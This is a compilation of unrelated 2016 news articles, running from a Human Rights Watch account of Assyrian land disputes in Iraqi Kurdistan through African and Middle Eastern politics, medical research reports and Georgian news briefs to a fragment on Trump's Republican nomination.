Yaqu Hormuz, a member of the Kurdish parliament from Zakho and head of the Chaldean, Assyrian, and Syriac bloc, told Human Rights Watch that in 2010 the Kurdish Regional Government's Council of Ministers had promised to look into the matter of encroachment on Assyrian land and compensation for the damaged parties, but that nothing had happened. The spark that caused the Christians' anger, they said was yet another encroachment on their land, despite police orders to vacate existing encroachments. Benjamin said that a Kurd from a neighboring village in Nahle Valley had started building a house on communal agricultural land belonging to the Assyrian villages of Hizani, Zule, and Upper and Lower Khalilani. Benjamin and fellow villagers protested to the governor, agricultural department, and the police, and the police ordered the Kurdish neighbor to stop, Benjamin said. However, the Kurdish neighbor, who works for a senior leader of the president's clan, continued building his house, four Assyrians said, adding a roof in the middle of the night in early April. A village elder, Paul Khoshaba, said that there had been 42 encroachments by Kurds on Assyrian land in the valley, and that promises by President Barzani made to him three years ago to remove them had not been kept. William Benjamin, an Assyrian student in Erbil, said that over 50 cases of Kurdish encroachment on Assyrian land had been registered in his native town of Sarsink, adding that despite promises in 2001 by the highest Kurdish authorities to solve the problem in Sarsink, no action was taken. In the April 13 letter to President Barzani, representatives of the Assyrian National Party, the Democratic House of Two Rivers Party, the Warka Democratic List, the National Federation of the Two Rivers, and the Sons of the Two Rivers Entity, all Christian political groups, wrote that "the file of encroachments taking place on the villages and lands of our people in all of the governorates of Dohuk and Erbil is becoming larger day by day." Human Rights Watch obtained official documents dating to 1992 and 1994 ordering an end to Kurdish encroachments on Christian land in Kashkawa and Rabitki, two villages in Nahle Valley. Paul Khashaba, Shmael Nanno and Mikhael Benjamin said those encroachments continue. In a 2009 report on "The status of Christians in the Kurdistan Region in Iraq," the Kurdish Regional Government stated that it "has never had a policy of taking lands or properties of Christians, and believes that land disputes between individuals must be resolved through the courts of law." The report says that Nimrud Baito, tourism minister and leader of the Assyrian Patriotic Party at the time, had strongly denied that there was politically motivated Kurdish appropriation of Christian land, though he acknowledges some "encroachments and crimes, just like anywhere else." Both Baito, in this report, and Hormuz, the parliament member who spoke to Human Rights Watch, referred to Fishkhabor, a village on the border with Syria, as a successful case of the regional government returning Assyrian lands to their original owners by what both referred to as a special committee in Dohuk tasked with such land disputes. Hormuz said the committee's work was not successful in other areas, however. Baito did not return requests for comment. Dr. Dindar Zebari, the deputy director of the regional government's Foreign Relations Department, said that Mazin Sa'id, the mayor of Akkre, had received a delegation of Christians and ordered the Kurdish party to stop the infraction and to stay away from these Christian villages in Nahle Valley. Dr. Zebari said that the case was now on the desk of the interior minister, that a committee of the Dohuk provincial council and the Agriculture Ministry was following up the issue, and that the outcome of this individual case would be a matter for the courts. Regarding the blocking of protests, Dr. Zebari said that the Kurdish Region in Iraq was in a critical security situation. He said that the mayor of Akkre had advised the Christian protesters to await official action before deciding to demonstrate, and that a single case did not warrant a demonstration in the capital, Erbil, with its sensitive security situation. Article 21 of the International Covenant on Civil and Political Rights, to which Iraq is a party, guarantees the right to freedom of assembly, and Article 26 prohibits discrimination on the basis of religion. Article 17 of the Universal Declaration of Human Rights states that everyone has the right to own property and that no one shall be arbitrarily deprived of it. Article 2 of the Covenant guarantees the right to a remedy. Article 14 of Iraq's constitution guarantees equality before the law without discrimination based on religion. President Barzani, in May 2015, signed the Law on Protecting the Rights of Components [of Society] in Kurdistan -- Iraq, or the minority rights law. Paragraph 5 of Article 3 provides full equality to all minorities in ending encroachments on their traditional areas, lifting them and returning the status quo ante.
Hamas-led government in Gaza Thursday amassed forces along border with Egypt in response to Cairos request for clampdown on crossings by IS militants.

Hundreds of military forces were moved to double military presence along the 13-kilometer border with Egypt.

The move came after Egypt expressed its discomfort accusing Hamas of providing shelter for IS militants who cross into Egypt to commit terror acts.

Gazas minister of interior told reporters that they took the move to find points of collaboration with Egyptian forces on the border.

Another Gaza-based official, General Hussain abu-Aadrah indicated that the border forces were increased at Egypts request in order to emphasize positive neighborly relations.

The deployment is part of the new deal with Egypt under which Hamas halts tunnel construction and in return Egypt opens the Rafah border crossing.

Egypt, in the wake of 2013 military coup which deposed Islamist President Mohamed Morsi, cut ties with Hamas deemed as an off-shoot of Muslim of Brotherhood and tightened security at Rafah crossing.

Ties worsened after Cairo accused Hamas of being involved in the killing of countrys top prosecutor Hisham Barakat last year. Hamas dismissed the accusations.

Egypt increased security measure near Rafah and widened the buffer zone by erasing houses in a move to destroy secret tunnels said used by militants to smuggle weapons and food.

It also flooded several tunnels which reportedly left several Hamas militants killed.
King Mohammed VI has gained strong support from Arab Gulf leaders regarding the Sahara issue during the 1st Morocco-GCC summit held this week in Riyadh.

Morocco expelled dozens of UN civilian staff from MINURSO after the disrespectful remarks made by UN Secretary-General Ban Ki-moon during his last month tour in the region.

Moroccan authorities said the decision was irreversible, but that it was committed to military cooperation with the UN.

Saudi Arabias King Salman expressed in an opening address support to his long-time North African ally in its row with Ban Ki-moon who lost neutrality required from any UN peace mediator.

We stress our mutual solidarity and support for all the political and security issues which concern your brotherly nation, foremost among them the Moroccan Sahara issue, and we reject completely any prejudice to the higher interests of Morocco, he said.

In their joint statement released following the Morocco-GCC Summit, Arab Gulf rulers said the Sahara is Moroccan and voiced their full support for the Morocco-proposed autonomy plan as the basis for any solution to this artificial regional dispute.

They also expressed their commitment to collective defense of the security and the stability of their countries, and respect for countries sovereignty, territorial integrity and national constants.

The Arab leaders denounced attempts aimed at undermining security and stability, and the dissemination of separatism to redraw the map of nations or splitting them, which threatens regional and international security and peace.

The summiteers said that Morocco and the GCC countries constitute a strategic unified bloc seeking peace and stability in the region and the world.

In his address before this historic summit, King Mohammed VI said despite the geographical distance, Morocco and GCC countries are bound by solid relations that, in addition to language, religion and civilization, include a commitment to the same values and principles and the same constructive policies.

He also said: Thanks to our shared determination, we have managed to lay the foundations for a solid strategic partnership, which is the result of fruitful bilateral cooperation.

For King Mohammed VI, the Moroccan-Gulf partnership is not the result of transient interests or calculations. Rather, it derives its strength from a firm belief that ours is a common destiny and that we hold the same views on issues of common concern.

The King of Bahrain, Hamad bin Isa Al Khalifa, said that the speech delivered by King Mohammed VI on Wednesday in Riyadh at the Morocco-Gulf Countries Summit has clearly stressed the need for joint action to deal with the current situation and advocated promoting partnership for the welfare of all brotherly countries.

In a statement relayed by the Bahraini News Agency, King Hamad praised the depth of the brotherly relations linking Morocco and the GCC countries and pledged that the recommendations, ideas and visions emerged at the Summit will be placed at the top of our priorities to achieve the sought objectives.

The presence of King Mohammed VI among us is an eloquent illustration of this complementarity between the GCC countries and Morocco. This is a blessed day for all peoples of the region, said the Bahraini sovereign, adding that It is a great pride to be with His Majesty King Mohammed VI to discuss our present and our bright future, he said.
Morocco is Keen on diversifying its partnerships at the political, strategic, and economic levels although it remains committed to its strategic relations with its allies.

Though it remains committed to its strategic relations with its allies, Morocco has, in recent months, sought to diversify its partnerships at political, strategic and economic levels, said King Mohammed VI during the first Morocco-GCC summit held on Wednesday in Riyadh.

Part of this process, King Mohammed VI recalled his recent visit, last month, to Russia that he described as successful. It has made it possible to turn Moroccan-Russian relations into an in-depth strategic partnership, and a number of major agreements have been signed in several crucial areas, he said, adding, We are also looking forward, in Morocco, to launching a strategic partnership with India, and also with the Peoples Republic of China, to which I will soon be paying an official visit.

The Sovereign who insisted that Morocco is free in its decisions and choices, and is not the exclusive preserve of any country; said his country will continue to honor the commitments it makes to its partners, and its partners should not think that their interests will be affected.

He reassured in this respect that the convening of this Summit is not targeting any party in particular, least of all our partners. It is a natural, logical initiative by countries which are defending their interests, as all countries do.

In his speech, the king dwelt on the firm partnership and special ties existing between Morocco and the six member countries of the Gulf Cooperation Council, namely Saudi Arabia, Bahrain, the United Arab Emirates, Kuwait, Qatar, and Oman.

Thanks to our shared determination, we have managed to lay the foundations for a solid strategic partnership, which is the result of fruitful bilateral cooperation, he said, adding that Moroccan-Gulf partnership is not the result of transient interests or calculations. Rather, it derives its strength from a firm belief that ours is a common destiny and that we hold the same views on issues of common concern.

The joint statement issued at the end of the Morocco-GCC Summit stressed that Morocco and the GCC countries constitute a strategic unified bloc, and that what affects the security of any one of them affects the security of the others. In this vein, the leaders of the GCC countries reaffirmed their unwavering position on the Moroccan Sahara issue that they consider as theirs.

They reaffirmed their support to the Sahara as Moroccos and their backing to the Moroccan autonomy plan as the basis for any settlement of this regional artificial dispute.

They also reaffirmed their total rejection of any act that may affect Moroccan supreme interests, on top of which the Moroccan Sahara issue.

The Moroccan and Gulf leaders also discussed the conspiracies seeking to undermine their collective security, as they are all facing the same perils, the same threats, and voiced their shared determination to stand up together to all attempts aimed at undermining their security and stability, and to oppose any separatism plots meant to redraw the map of the region.

The Leaders also stressed the need to bolster their economic partnership through strengthening the human development process, facilitating trade and promoting investment.

The Summit was also an opportunity to examine opportunities to establish a more comprehensive cooperation between the GCC, Morocco and sub-Saharan African countries with the aim of strengthening security and stability.
French president Francois Hollande on Thursday said that French military mission in the Central African Republic, will stay in the country to help train the war-torn nations army.

Francois Hollande has started withdrawing French soldiers from the Central African Republic, less than a week after Faustin-Archange Touadera was sworn in as president.

However, the new move comes after the new elected president who was on his first official visit in France this week, expressed concern about the announced withdrawal, citing security questions.

President Hollande maintained that much is needed to be done in terms of security and disarmament while acknowledging the progress made in the country citing the successful election.

This is why the Sangaris have more reason to stay in the Central African Republic, Hollande said during a press briefing with President Touadera.

The French military operation, code-named Sangaris, intervened in 2013 to stop widespread sectarian violence that had erupted in the wake of the ouster of President Francois Bozize.

Touadera, a former prime minister who won a Feb. 14 presidential vote, will have to restore state authority in regions that are still under control of armed groups. The United Nations has about 10,000 troops in the country.
The British government on Friday issued a warning to its citizens living in Zambia or traveling to the country, following xenophobic attacks connected to ritual killings and political violence that erupted in the southern African country over the past few days.

The British High Commission also issued a warning against poor medical facilities and poor communication in rural areas.

London urged its citizens travelling to Zambia to stay away from political gatherings, areas where rival political groups were in confrontation and student demonstrations.

The next general election is scheduled to take place on August 11, 2016.

There have been instances of political violence, and disturbances can break out on the streets at short notice. You should avoid any political rallies, demonstrations, or large gatherings as there can be violence between rival groups of activists, read the travel advisory statement.

The UK government further warns its citizens on HIV and AIDS prevalence percentage in Zambia estimated at around 12.7 per cent in 2013.

Zambian authorities arrested over 200 people this week for rioting and ransacking Rwandan-owned shops in Lusaka over allegations that foreigners were behind a string of ritual killings.

The Zambian government on Wednesday deployed more than 400 soldiers to help end the violence.

In a statement, Zambian Home Affairs Minister, Davis Mwila, assured foreigners that the situation was under control and that police would handle it.
Chadian President Idriss Deby Itno has been declared winner of the presidential elections by 61.56% of votes, the Electoral body of the central African nation said on Thursday.

Deby who appeared before hundreds of supporters in the capital just after the commissions announcement, urged them to wait for the Constitutional Councils ratification. Its your victory, he said.

The provisional results need to be ratified by the Constitutional Council and the veteran leader Idriss Deby need more than 50 percent to avoid a runoff.

African Union observers last week declared the elections free and fair.

Earlier this week, the opposition withdrew from the electoral commission, citing doubts that the vote would be credible.

More than six million people had been asked to choose between 13 presidential hopefuls in the vote, with turnout pegged at more than 71 percent.

Deby, who took power in a coup 26 years ago, is seen by Western governments as a bulwark against Islamist militants in central Africa.

The country serves as the headquarters for a five-nation regional force intended to defeat the Nigeria-based Boko Haram group, which has carried out multiple attacks on Chads territory, including suicide bombings in the capital, Ndjamena.

Chad is also the base for Frances military operations in Africa.
Frontotemporal dementia (FTD), the second most common cause of dementia in people under 65, may be triggered by a defect in immune cells called microglia that causes them to consume the brain's synaptic connections, according to new research led by UCSF scientists.

The new study  published April 21, 2016 in the journal Celladds to growing evidence that the brain's immune system is a driving force behind many neurodegenerative diseases, and suggests new approaches to diagnosing and treating patients with FTD, which currently affects as many as 22 out of 100,000 adults, with typical onset between the ages of 45 and 65.

Microglia normally act as the brain's garbage collectors, disposing of foreign particles such as viruses or bacteria as well as sick and dying brain cells. In the developing brain, microglia also help refine the brain's circuitry by pruning back unneeded neural connections, which are marked for destruction with immune molecules called "complement proteins." Recent studies by Harvard neurobiologist Beth Stevens, PhD, and others have suggested that this process may go awry during adolescence in patients with schizophrenia, and as a side effect of aging in patients with Alzheimer's disease: in both cases an overabundance of complement protein appears to cause too many synapses to be tagged for destruction by the microglia.

"The brain's innate immune system is emerging as a common pathway behind many neurodegenerative disorders," said senior author Eric Huang, MD, PhD, a professor of pathology at UCSF and pathologist at the UCSF-affiliated San Francisco VA Medical Center. "This idea has been controversial, however, because in human patients, neurodegeneration is typically accompanied by some degree of inflammation, with lots of activated microglia, but it's hard to tell whether that is a driver of the degeneration or a consequence. You need careful experiments using animals models to dissect the cause-effect relationship."

In Mice, Gene Mutation Causes FTD-Like Symptoms

Working with colleagues at UCSF's Memory and Aging Center and departments of Neurology and Neurological Surgery, as well as the UCSF-affiliated Gladstone Institutes, Stanford University, and others, Huang and his team compared brain tissue from human FTD patients with familial mutations in the progranulin gene to the brains of mice with this gene deleted. In the mice, the defect caused age-related neurodegeneration and excessive grooming akin to the obsessive-compulsive disorder (OCD) symptoms seen in human FTD patients.

The researchers found that as the mice aged, the mutation caused a gradual breakdown of microglial cells' waste disposal systems, which led to excessive activation of these cells' aggressive immune functions, heightened production of complement proteins, and excessive synaptic pruning in the thalamus, a part of the brain that is highly relevant to human FTD.

Additional experiments on isolated microglia made it clear to the researchers that progranulin normally acts as a brake to prevent excessive microglia activation. Without it, it appeared that an unknown aspect of the normal aging process allowed microglia to spiral out of control.

However, the researchers showed that they could short-circuit this death spiral by deleting the gene for one of the major complement proteins produced by microglia, called C1qa. Mice with both the progranulin and the C1qa genes turned off lived considerably longer than those with intact C1qa, and didn't develop OCD-like behaviors. Their brains also showed a drastic reduction in the number of activated microglia and much better protection from synapse loss.

"We worked for more than two years to get to that result," Huang said, "But when we did, it was a really surreal experience. It was immediately clear that blocking complement protein might be a good therapeutic target for FTD patients with progranulin mutations."

Research Points to New Approaches for Dementia Patients

Huang and his team are now collaborating with a biotech company called Annexon to test therapies that block C1qa. However, these treatments are likely still a long way off. For one thing, treatments for neurodegeneration likely need to be taken early, before the brain damage is done, and there's still no way to reliably detect the disease before it's far too late.

That's why the researchers also investigated whether the elevated complement protein levels that would be predicted by their study show up in patients' cerebrospinal fluid (CSF)the fluid collected by a spinal tap. If so, they could potentially serve as a biomarker to allow early detection of the disease.

Initially they were disappointed by the results: "We looked at CSF from normal and diseased brains side by side, and they looked about the same," Huang said. "But then we tried separating the FTD patients based on how severe their dementia had been when the CSF samples were taken, and the result was really spectacular. Clearly, as patients' mental status declined, the level of complement protein in their CSF increased."

Huang says he hopes future research will allow physicians to use this signal to enable earlier diagnosis and to test the effectiveness of potential treatments. If doctors give an anti-complement drug and the levels of complement protein in the CSF go down, he said, that would be a good sign that the immediate danger to the brain has been relieved.

Explore further The brain may show signs of aging earlier than old age

More information: Cell, dx.doi.org/10.1016/j.cell.2016.04.001 Journal information: Cell
After the Zika virus appeared in Brazil in the spring of 2015, it was then discovered in Suriname last autumn. Will it also lead to congenital defects in babies there? Together with virologists from Rotterdam, Wageningen entomologist Sander Koenraadt travelled to Suriname in February for a first exploratory study.

The Zika virus has been known since 1947, when it was first found in a rhesus monkey in the Ugandan Zika Forest. It only became a major global issue last year, however, when it was detected in Brazil. In addition to 'Zika fever' it appeared that the virus was also  very likely  the cause of microcephaly (abnormal smallness of the head, resulting in incomplete brain development) in unborn children.

In Suriname the Zika virus was not discovered until October 2015. "It is not yet clear whether it will result in congenital defects in babies here," says entomologist Koenraadt. "The first children conceived in Suriname after the virus appeared will not be born until this summer." Nonetheless, Koenraadt decided to travel to the country already to perform a first exploratory study. "Together with Suriname entomologist Helene Hiwat, who obtained her doctorate at Wageningen in 2011 with a study of malaria control in Suriname, we looked into the possibility of setting up a research project, and, more particularly, obtaining the necessary financing."

Are Suriname mosquitoes susceptible?

One of the main questions that Koenraadt would like answered is how susceptible mosquitoes in Suriname are to Zika. "The virus is transmitted by mosquitoes of the Aedes genus; the same genus that transmits the diseases chikungunya and dengue. In Wageningen we have a Biosafety III-lab; the second highest safety classification for laboratories which can be used to perform research into dangerous viruses. Our Rotterdam colleagues have already isolated the virus itself. This would allow us to study whether or not the mosquitoes of the Aedes aegypti genus in Suriname are able to transmit the Zika virus."

Pioneering ecology

Koenraadt underlines that very little is known about the transmission of the Zika virus. "The biology and ecology of the virus are still at a very early stage. A first priority is to capture mosquitoes in Suriname and determine the infection rate. We now aim to obtain financing for this research. In addition to serving as a form of development aid for organisations such as the European Union, studies like this are also relevant to European countries now that we know that the disease is probably sexually transmissible."

Vaccine or genetically modified mosquitoes?

Alongside the fundamental research involving the biology of the virus and transmission, Koenraadt is also working with Gorben Pijlman from the Laboratory of Virology on possible control options. Koenraadt: "A vaccine would be the obvious choice, but it is not yet available. The Laboratory of Virology is currently carrying out its first studies in this regard. Another option is dealing with the mosquitoes that transmit the disease. This may involve the widespread control of mosquitoes using biological methods or insecticides, or possibly the application of genetically modified, sterile Aedes mosquitoes. While these types of measures may be a sensitive issue in Europe, such objections seem far less relevant when you actually encounter congenital defects in new-borns."

Explore further Zika virus: Five things to know
(HealthDay)Age modifies the association between blood pressure (BP) and adverse cardiovascular and renal outcomes in elderly patients with chronic kidney disease (CKD), according to research published online April 21 in the Clinical Journal of the American Society of Nephrology.

Csaba P. Kovesdy, M.D., of the University of Tennessee Health Science Center in Memphis, and colleagues analyzed data for 300,424 veterans with incident chronic kidney disease to examine the associations of blood pressure with mortality and adverse outcomes.

The researchers found that both systolic and diastolic BP had a U-shaped association with all-cause mortality. Systolic BP showed a linear association, whereas diastolic BP showed no consistent association, with coronary heart disease (CHD), stroke, and end-stage renal disease (ESRD). For systolic BP 170 mm Hg compared with 130 to 139 mm Hg, hazard ratios for mortality were attenuated with increasing age as follows: <50 years, 1.95; 50 to 59 years, 2.01; 60 to 69 years, 1.68; 70 to 79 years, 1.39; and 80 years, 1.30.The risk of incident CHD, stroke, and ESRD was increased incrementally with increasing systolic BP in patients younger than 80 years, but no consistent association was observed for those 80 years of age and older (P < 0.05 for interaction for all outcomes).

"In veterans with incident chronic kidney disease, systolic blood pressure shows different associations in older versus younger patients," the authors write. "The association of higher systolic blood pressure with adverse outcomes is present, but markedly reduced in older individuals, especially in those 80 years old."

Explore further Ideal BP for kidney disease patients may be 130-159/70-89

Copyright  2016 HealthDay. All rights reserved.
An interim report compiled for the General Medical Council (GMC) by a consortium of researchers known as UMbRELLA and led by Plymouth University represents the first UK-wide investigation into medical revalidation. It has found that around 40 per cent of doctors are changing how they work as a result of their last appraisal.

The report shows that around half of doctors under the age of 50 have changed the way in which they practice.

Revalidation for doctors was introduced in the UK in December 2012 and requires all doctors to demonstrate that they are 'up to date and fit to practise'. It consists of a five-year cycle review based on annual appraisals. The process includes feedback from colleagues and from patients.

This latest interim report is part of a three-year study into the impact of revalidation. Its results are based on a survey of 26,000 licensed doctors together with hundreds of responsible officers (who oversee the practical application of revalidation) and feedback from patients and the public.

UMbRELLA is led by health education academics from the Collaboration for the Advancement of Medical Education Research and Assessment (CAMERA) at Plymouth University Peninsula Schools of Medicine and Dentistry. The consortium also includes Belfast Health and Social Care Trust, Healthcare Improvement Scotland, NHS Education for Scotland, Manchester Business School at the University of Manchester, University College London and the Wales Deanery.

Dr Julian Archer, Director of CAMERA and lead for UMbRELLA, commented:

"This interim report summarises the views of a large number of doctors and has started to provide us with an excellent overview of the impact of medical revalidation in the profession. We are already undertaking a series of complementary work streams including recording appraisals and interviewing doctors as 'appraisees' and appraisers. This will allow us to explore in more depth the impact revalidation is having on reflective practice, behavioural change and ultimately patient safety."

The final report will be published in 2018, while the interim report will contribute to the revalidation review being conducted by Sir Keith Pearson, Chair of the GMC's Revalidation Advisory Board. The GMC will address the findings of the interim report and Sir Keith's recommendations, when his report is published later this year.

Niall Dickson, the Chief Executive of the GMC said: "We introduced revalidation in 2012 to give patients greater confidence that doctors are up-to-date in the areas in which they practise, and to support doctors by ensuring they have the opportunity to regularly reflect on their practice. We're pleased that these interim findings show that it is beginning to do that. This is encouraging news for both patients and their doctors. That said, this interim report does highlight some issues which we need to consider further. We want revalidation to be a positive experience for doctors and to maximise how it can contribute to high quality and safer care. At the same time we fully understand the pressures that doctors are under and we'll be taking this into account as we shape our plans for the future."

Findings from the interim report include:

90 per cent of surveyed doctors have had a medical appraisal in their career, 94 per cent of whom had had an appraisal in the previous 12 months.

Around a third of doctors said revalidation has improved the appraisal process.

More than 40 per cent of doctors believe appraisals are effective in helping doctors to improve their clinical practice  and less than a third disagreed.

Doctors in some specialities (such as anaesthetics, psychiatry and emergency medicine) struggle to collect patient feedback.

Doctors who obtained patient feedback found it is the most helpful information to support reflection on their practice.

Explore further Doctors to help shape the future of revalidation

More information: Read the interim report: Read the interim report: www.gmc-uk.org/about/research/29074.asp
Mexican President Enrique Pena Nieto proposed Thursday legalizing medical marijuana and easing restrictions on recreational use, a major policy shift for a government embroiled in an ultra-violent drug war.

Pena Nieto's decision to send landmark legislation to Congress was the result of a national debate on cannabis laws and comes amid a growing debate about drug policy across the Americas.

"Society and the scientific community have spoken. There was a clear consensus that there are limits to the current focus in which Mexico has dealt with the marijuana issue," Pena Nieto said.

The bill sent to Congress would allow the use of medications made with marijuana or its active ingredients, and it would also increase the amount of the drug that can legally be possessed for personal consumption from five to 28 grams (one ounce).

But his proposal falls short of a full legalization of marijuana as demanded by activists who won a landmark case last year at the Supreme Court, which authorized four individuals to grow and smoke pot.

Pena Nieto said his legislation aims to fix "two types of injustices": The inability of patients to access marijuana-based medicine and the "disproportional" prison sentences against people arrested on pot-related charges.

"Mexicans know very well the scope and limits of the prohibitionist and punitive scheme, and of the so-called war on drugs, which has prevailed for over 40 years at the international level," he said in a speech.

Mexico, a major supplier and transport hub for drug trafficking to the United States, has endured a horrific explosion in cartel violence over the past decade.

More than 100,000 people have been killed or disappeared since Mexican authorities deployed troops to combat drug trafficking in 2006.

"Fortunately, a new global consensus is gradually emerging in favor of a reform of the international drug regime," he said

"With this reform proposal, we take firm steps toward a new paradigm that looks at drugs from the perspective of prevention, health and human rights."

The medical marijuana initiative would allow imports of medicine containing marijuana and tetrahydrocannabinol (THC), the plant's main psychoactive ingredient.

Such medicine would be subject to strict health controls by the authorities, just as any other legal drug.

The increase in the amount of pot that a person can possess for personal use would be "in line with international standards," Pena Nieto said.

'It changed our lives'

Mexico's move follows policy shifts across the region.

Canada's health minister said Thursday that his government would introduce legislation next year to legalize marijuana, while Uruguay in 2013 became the first country in the world to fully legalize marijuana.

In December, the president of Colombia, another country beset by drug violence, signed a decree legalizing medical marijuana.

In the United Statesthe biggest consumer of drugs from Mexico23 states have legalized medical marijuana use while four states plus the US capital city have legalized its recreational use.

Pena Nieto decided to hold a series of five public forums on the country's tough marijuana laws after last year's Supreme Court decision.

The ruling was limited in scope, giving permission to just four individuals, but activists hopes that either the government would loosen its laws or that the court would issue other similar rulings to set a legal precedent.

Juan Francisco Torres, an attorney who was of the foursome that took its case to the top court, said the president's proposal "falls short."

"They increase the number of grams but there's still a problem in the background, there's nothing that says that supply is legal," he told Milenio television.

But Pena Nieto's initiative was welcomed by another pioneer in Mexico's marijuana debate, Raul Elizalde, who won a lower court battle to get authorization to give his young epileptic daughter medical cannabis last year.

Elizalde, who spoke at Pena Nieto's event, said the quality of life of his daughter, Grace, had improved since she began taking cannabidiol (CBD), a therapeutic oil.

"My daughter is a different person. She has improved with the treatment. It has changed our lives," he said.

Explore further Mexico opens landmark debate on marijuana laws

 2016 AFP
People who had cancer before receiving an organ transplant were more likely to die of any cause, die of cancer or develop a new cancer than organ recipients who did not previously have cancer, a new paper has found. However, the increased risk is less than that reported in some previous studies.

Previous research has shown that cancer survivors were at increased risk of cancer recurrence after a transplant. But the findings regarding the risk of death and developing a new cancer were inconsistent.

The paper published today in the journal Transplantation confirms cancer survivors have a higher mortality rate and a higher rate of new cancer than organ recipients with no history of cancer, said lead author Dr. Sergio Acuna, a physician who is a PhD student in clinical epidemiology at St. Michael's Hospital.

The association between higher rates of death, death from cancer and new cancers did not vary according to the type of organ that was transplanted, the paper found.

Publication of the paper coincides with National Organ and Tissue Donation Awareness Week in Canada.

The critical shortage of organs for transplants means that clinicians and policy makers must ensure scarce donor organs are given to the patients who would benefit the most from them.

And as the population ages, the average age of transplant patients is also rising, meaning the number of organ recipients with previous cancers is expected to increase. Although the proportion of patients with previous cancers ranges from 0.4 per cent to 5.4 per cent in studies of all patients undergoing transplants in a given country, state, province or region, those patients accounted for as many as 7.4 per cent of organ recipients in Ontario in 2010.

Dr. Acuna said his paper did not examine whether the association between higher deaths, higher deaths from cancer and the development of new cancers was caused by characteristics of the organ donor or some other factor such as the type of immunosuppressant drug.

He noted that previous studies have shown that transplant recipients with previous cancers were more likely to have received organs from "expanded criteria donors" (older donors who may have had medical conditions such as high blood pressure, or who died as a result of a stoke), or to have spent prolonged time on dialysis. Both of these are factors are associated with deaths from cardiovascular incidents, such as a heart attack or stroke, and rejection of a transplanted organ.

Dr. Acuna said more research was needed to determine the length of time between when a patient was deemed to be in remission or cured of cancer before he or she could receive an organ transplant to minimize the risk of cancer recurrence without increasing the risk of death from other causes.

Dr. Nancy Baxter, the senior author on the paper and a colorectal surgeon at St Michael's, said transplant patients with a history of cancer may also need closer monitoring to detect recurrent and new cancers early. No specific recommendations on screening for second malignancies in these patients exist. She said there was also a need to better understand and mitigate the cancer risk in transplant recipients with a history of cancer, focusing on cancer prevention and early detection.

The paper is a meta-analysis of 33 cohort studies involving almost 400,000 patients in 12 countries. Organ recipients with previous cancer had at any given time 1.5 times greater risk of dying than those with no previous cancer. They had a three times higher risk of dying from cancer and an almost two times higher risk of developing a new cancer. This paper did not look at studies about patients who received a transplant for the treatment of their cancer, such as patients with liver cancer who may receive a liver transplant.

Explore further Higher cancer death rate associated with solid-organ transplant recipients
The News in Brief

Parliament Adopts UNMs Resolution Calling on Govt Not to Endanger Euro-Atlantic Integration



The Georgian Parliament adopted unanimously a resolution on Friday, which, according to its sponsors, is aimed at showing the unity of the political forces over Georgias EU visa liberalisation.



The resolution, which was sponsored by lawmakers from the UNM opposition party and supported by the GD parliamentary majority group after some amendments, calls on the Georgian government not to endanger Georgias Euro-Atlantic integration.



According to its title, the resolution is addressed to the EU and its institutions. Its preamble reiterates Georgian peoples unwavering choice of European and Euro-Atlantic integration; notes importance of visa liberalisation in the EU-Georgia cooperation agenda and notes that visa waiver with the Schengen area will contribute to reintegration of people living in Georgias occupied territories and demonstrate to others tangible results and benefits of partnership with the EU.



Resolutions operative part consists of four clauses three of which are addressed to the Georgian government and one  to the EU-member states parliaments, thanking them for ratifying Georgias Association Agreement with the EU.



It calls on the Georgian government to take steps fostering Georgias democratic development and not to endanger Georgias Euro-Atlantic integration.



Parliament also calls on the government to timely implement reforms envisaged by the Association Agreement with the EU and to carry out an information campaign aimed at clarifying the rights and obligations surrounding visa-free travel rules.



The text was modified from its initial version, first tabled by the UNM in December, when Parliament passed a statement calling on the European Union to lift visa requirements for Georgian citizens. That statement was sponsored by the Free Democrats opposition party and was supported by the GD majority group, but the UNM abstained from the vote because of a disagreement on wording as it did not contain a call towards the Georgian government not to undertake any step that may undermine Georgias European and Euro-Atlantic integration process.



Similar wording was in the UNMs draft resolution debated in Parliament on April 15; GD was against this wording citing that it was giving the text a negative connotation in respect to the government and instead offered to changed it with a call to the government to take steps fostering Georgias democratic development; the UNM agreed on the amendment and the text was adopted unanimously.

(Civil.ge)







Abkhazian MPs car hit by explosion in Sokhumi center



The official car of Almas Japua MP in Abkhazias de facto parliament was hit by an explosion on Saturday evening, Sputnik Abkhazia reports.



The car exploded on Sergei Bagapsh Square in downtown Sokhumi, close to the seafront.



MP Almas Japuas car exploded. The causes are yet unknown. Currently, investigative measures are being taken at the scene. There were no fatalities, Leonid Dzapshba, the Minister of Internal Affairs of Abkhazia said.



According to the witnesses, a woman who was passing by at the moment of the explosion suffered minor injuries and was taken by ambulance to hospital.



MP Aslan Kwabakhia who arrived at the scene told journalists that the explosion could have been due to a variety of reasons, and did not rule anything out from an electrical fire in the cars wiring to a terrorist attack.



At least two other cars suffered collateral damage from the explosion.



Aslan Japua is a member of Abkhazias National Assembly from the opposition party Ainar. On 29 March, he put forward a motion of no confidence for prime minister Artur Amkwab.

(DF watch)







New political centre will inevitably be presented in Parliament  Pavle Kublashvili



A new political centre, Girchi, will inevitably be presented in Parliament in the future which will have a big faction that will influence all political processes, one of the leaders of the new Girchi political centre, Pavle Kublashvili, has declared.



We have presented a basic part of the programme that will refer to social protection, assistance of the people having a need of this. Our campaign will become more active from tomorrow. We will be in all regions and towns and struggle for victory, Pavle Kublashvili has said.



Zurab Japaridze has been elected as the head of Girchi.

(IPN)







Japan earthquake: Georgia saddened by loss of lives



Georgia is offering its condolences to Japan following a series of deadly earthquakes that have killed at least 20 people and injured hundreds of others.



Georgias Foreign Ministry issued a special statement that expressed the Georgian peoples "deep sorrow over the tragedy.



"The Ministry of Foreign Affairs of Georgia stands beside the Japanese people in this difficult time and shares the sorrow of the families and friends of those killed, the statement read.



"We wish for a quick recovery for those who were injured.



Two strong earthquakes during the past several days in south-western Japan caused major damage to the local infrastructure.



Rescue efforts are underway to help victims of the powerful tremors.



Some 20,000 troops are being deployed in the operation in Kyushu region. Dozens of people are feared trapped in the rubble of collapsed buildings.

(Agenda.ge)




@AmySherman1 @PatriciaMazzei

If Donald Trumps presidential campaign thrust the GOP into the five stages of grief, then it looks like many Republicans have finally reached acceptance.

Trump is their likely nominee.

That realization, however unfathomable it may have seemed just a few months ago, seemed to sink in this week during the Republican National Committees spring meeting, held Wednesday through Friday at the Diplomat Resort & Spa in Hollywood. It helped Trump that the meeting began a day after he thumped his competition in the New York primary.

Is Donald Trump gaining support? Absolutely, Massachusetts committeeman Ron Kaufman said. When you win a state as diverse as New York, when you win a state as big as New York by 40 points it tells you a whole lot. Trump is doing so well. Its pretty stunning.

